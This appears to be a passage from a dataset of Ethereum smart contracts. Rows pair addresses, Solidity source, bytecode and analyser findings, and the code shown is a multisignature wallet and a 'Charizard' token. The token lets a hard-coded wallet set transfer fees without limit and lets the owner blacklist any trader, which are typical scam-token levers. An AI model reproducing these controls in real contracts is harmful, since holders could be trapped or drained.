541515610b3757610eb1610f2a565b610ed1565b600080fd5b5b610edc565b600080fd5b5b565b600e6020526000908152604090205460ff1681565b600f60205260009081526040902054600160a060020a031681565b60085481565b60025481565b600054600160a060020a031681565b600c54600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610edc57600080fd5b5b5600a165627a7a72305820f89b8346a406f535e69f04df36462b242ecb806da22244461a8e9dd086f1754e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}} | 392 |
0x175E3fe868622c40A829EE9E4A963402b68C6dEB | pragma solidity ^0.4.4;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6013140506010e4e07050f12070520030f0e13050e1319134e0e0514">[email protected]</a>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a9daddcccfc8c787ceccc6dbcecce9cac6c7daccc7dad0da87c7ccdd">[email protected]</a>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
} | 0x6080604052600436106101535763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461019e578063173825d9146101d257806320ea8d86146101f35780632f54bf6e1461020b5780633411c81c146102405780634bc9fdc214610264578063547415251461028b57806367eeba0c146102aa5780636b0c932d146102bf5780637065cb48146102d4578063784547a7146102f55780638b51d13f1461030d5780639ace38c214610325578063a0e67e2b146103e0578063a8abe69a14610445578063b5dc40c31461046a578063b77bf60014610482578063ba51a6df14610497578063c01a8c84146104af578063c6427474146104c7578063cea0862114610530578063d74f8edd14610548578063dc8452cd1461055d578063e20056e614610572578063ee22610b14610599578063f059cf2b146105b1575b600034111561019c57604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b3480156101aa57600080fd5b506101b66004356105c6565b60408051600160a060020a039092168252519081900360200190f35b3480156101de57600080fd5b5061019c600160a060020a03600435166105ee565b3480156101ff57600080fd5b5061019c600435610779565b34801561021757600080fd5b5061022c600160a060020a036004351661084f565b604080519115158252519081900360200190f35b34801561024c57600080fd5b5061022c600435600160a060020a0360243516610864565b34801561027057600080fd5b50610279610884565b60408051918252519081900360200190f35b34801561029757600080fd5b50610279600435151560243515156108be565b3480156102b657600080fd5b5061027961092a565b3480156102cb57600080fd5b50610279610930565b3480156102e057600080fd5b5061019c600160a060020a0360043516610936565b34801561030157600080fd5b5061022c600435610a67565b34801561031957600080fd5b50610279600435610aeb565b34801561033157600080fd5b5061033d600435610b5a565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156103a257818101518382015260200161038a565b50505050905090810190601f1680156103cf5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156103ec57600080fd5b506103f5610c18565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610431578181015183820152602001610419565b505050509050019250505060405180910390f35b34801561045157600080fd5b506103f560043560243560443515156064351515610c7a565b34801561047657600080fd5b506103f5600435610db3565b34801561048e57600080fd5b50610279610f2c565b3480156104a357600080fd5b5061019c600435610f32565b3480156104bb57600080fd5b5061019c600435610fbd565b3480156104d357600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610279948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506110a49650505050505050565b34801561053c57600080fd5b5061019c6004356110c3565b34801561055457600080fd5b5061027961111e565b34801561056957600080fd5b50610279611123565b34801561057e57600080fd5b5061019c600160a060020a0360043581169060243516611129565b3480156105a557600080fd5b5061019c6004356112c7565b3480156105bd57600080fd5b5061027961148e565b60038054829081106105d457fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561061057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561063957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107145782600160a060020a031660038381548110151561068357fe5b600091825260209091200154600160a060020a03161415610709576003805460001981019081106106b057fe5b60009182526020909120015460038054600160a060020a0390921691849081106106d657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610714565b60019091019061065c565b60038054600019019061072790826115cc565b5060035460045411156107405760035461074090610f32565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156107a157600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff1615156107d657600080fd5b600084815260208190526040902060030154849060ff16156107f757600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000600754620151800142111561089e57506006546108bb565b60085460065410156108b2575060006108bb565b50600854600654035b90565b6000805b600554811015610923578380156108eb575060008181526020819052604090206003015460ff16155b8061090f575082801561090f575060008181526020819052604090206003015460ff165b1561091b576001820191505b6001016108c2565b5092915050565b60065481565b60075481565b30600160a060020a031633600160a060020a031614151561095657600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561097e57600080fd5b81600160a060020a038116151561099457600080fd5b60038054905060010160045460328211806109ae57508181115b806109b7575080155b806109c0575081155b156109ca57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610ae45760008481526001602052604081206003805491929184908110610a9557fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610ac9576001820191505b600454821415610adc5760019250610ae4565b600101610a6c565b5050919050565b6000805b600354811015610b545760008381526001602052604081206003805491929184908110610b1857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610b4c576001820191505b600101610aef565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610c055780601f10610bda57610100808354040283529160200191610c05565b820191906000526020600020905b815481529060010190602001808311610be857829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610c7057602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c52575b5050505050905090565b606080600080600554604051908082528060200260200182016040528015610cac578160200160208202803883390190505b50925060009150600090505b600554811015610d3357858015610ce1575060008181526020819052604090206003015460ff16155b80610d055750848015610d05575060008181526020819052604090206003015460ff165b15610d2b57808383815181101515610d1957fe5b60209081029091010152600191909101905b600101610cb8565b878703604051908082528060200260200182016040528015610d5f578160200160208202803883390190505b5093508790505b86811015610da8578281815181101515610d7c57fe5b9060200190602002015184898303815181101515610d9657fe5b60209081029091010152600101610d66565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610de8578160200160208202803883390190505b50925060009150600090505b600354811015610ea55760008581526001602052604081206003805491929184908110610e1d57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610e9d576003805482908110610e5857fe5b6000918252602090912001548351600160a060020a0390911690849084908110610e7e57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610df4565b81604051908082528060200260200182016040528015610ecf578160200160208202803883390190505b509350600090505b81811015610f24578281815181101515610eed57fe5b906020019060200201518482815181101515610f0557fe5b600160a060020a03909216602092830290910190910152600101610ed7565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f5257600080fd5b600354816032821180610f6457508181115b80610f6d575080155b80610f76575081155b15610f8057600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610fe557600080fd5b6000828152602081905260409020548290600160a060020a0316151561100a57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561103e57600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a361109d856112c7565b5050505050565b60006110b1848484611494565b90506110bc81610fbd565b9392505050565b30600160a060020a031633600160a060020a03161415156110e357600080fd5b60068190556040805182815290517fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca29181900360200190a150565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561114b57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561117457600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561119c57600080fd5b600092505b60035483101561122d5784600160a060020a03166003848154811015156111c457fe5b600091825260209091200154600160a060020a0316141561122257836003848154811015156111ef57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a0316021790555061122d565b6001909201916111a1565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b6000818152602081905260408120600301548190839060ff16156112ea57600080fd5b6000848152602081905260409020925061130384610a67565b91508180611336575060028084015460001961010060018316150201160415801561133657506113368360010154611584565b156114885760038301805460ff191660011790558115156113605760018301546008805490910190555b8260000160009054906101000a9004600160a060020a0316600160a060020a031683600101548460020160405180828054600181600116156101000203166002900480156113ef5780601f106113c4576101008083540402835291602001916113ef565b820191906000526020600020905b8154815290600101906020018083116113d257829003601f168201915b505091505060006040518083038185875af1925050501561143a5760405184907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2611488565b60405184907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038301805460ff19169055811515611488576001830154600880549190910390555b50505050565b60085481565b600083600160a060020a03811615156114ac57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261152c9260028501929101906115f5565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000600754620151800142111561159f574260075560006008555b600654826008540111806115b65750600854828101105b156115c3575060006115c7565b5060015b919050565b8154818355818111156115f0576000838152602090206115f0918101908301611673565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061163657805160ff1916838001178555611663565b82800160010185558215611663579182015b82811115611663578251825591602001919060010190611648565b5061166f929150611673565b5090565b6108bb91905b8082111561166f57600081556001016116795600a165627a7a72305820a5b105746e62693725516cdcd815abd988003c58f75c631c52612b0635dd89510029 | {"success": true, "error": null, "results": {}} | 393 |
0x1db6C03F546B4D7dF6165342f14E5Eb6dd86d0ED | /**
*Submitted for verification at Etherscan.io on 2021-10-28
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Charizard is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 =
payable(0x6B9cc3C9bB5B254ef67343EB154A5bdF69d741ba);
address payable private _feeAddrWallet2 =
payable(0xAF81b65bDF2f259D80533aDBde6A1e59BA13A8EB);
string private constant _name = "Charizard";
string private constant _symbol = "CHARIZARD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
swapEnabled = true;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
